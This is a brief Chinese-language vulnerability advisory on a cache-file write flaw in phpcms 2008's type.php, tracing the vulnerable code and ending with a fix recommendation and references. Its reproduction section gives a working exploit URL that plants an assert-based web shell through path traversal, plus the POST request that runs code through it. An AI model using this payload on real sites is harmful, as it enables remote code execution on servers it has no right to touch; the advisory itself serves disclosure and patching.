概述:
近日phpcms2008版本被爆出可控的缓存文件写入任意内容漏洞,该漏洞由type.php产生
我们可以看到$template参数可以由外部传入,只进行了是否为空的判断直接就传入template()函数继续执行,template()函数在/include/global.func.php文件中。
在template()函数中中,$template参数交给了template_compile()函数处理,而template_compile()函数在include/template.func.php文件中:
我们来看第七行
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
TPL_CACHEPATH
define('TPL_CACHEPATH', PHPCMS_ROOT.'data/cache_template/'); //模板缓存物理路径
最后直接生成路径被写入content中导致漏洞的产生
漏洞复现
下载phpcms2008sp4_utf8_111122版本 下载地址http://bbs.phpcms.cn/thread-435838-1-1.html
访问构造地址地址:http://xxxx/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[sangfor]);{//../rss
提交post数据:
地址:http://xxxx/data/cache_template/rss.tpl.php
提交参数:sangfor=phpinfo()
影响版本
Phpcms2008
修复建议
升级最新的phpcms V9
参考链接:
https://mp.weixin.qq.com/s/W-onjWZZF7afwzwRmDH5dw
https://github.com/ab1gale/phpcms-2008-CVE-2018-19127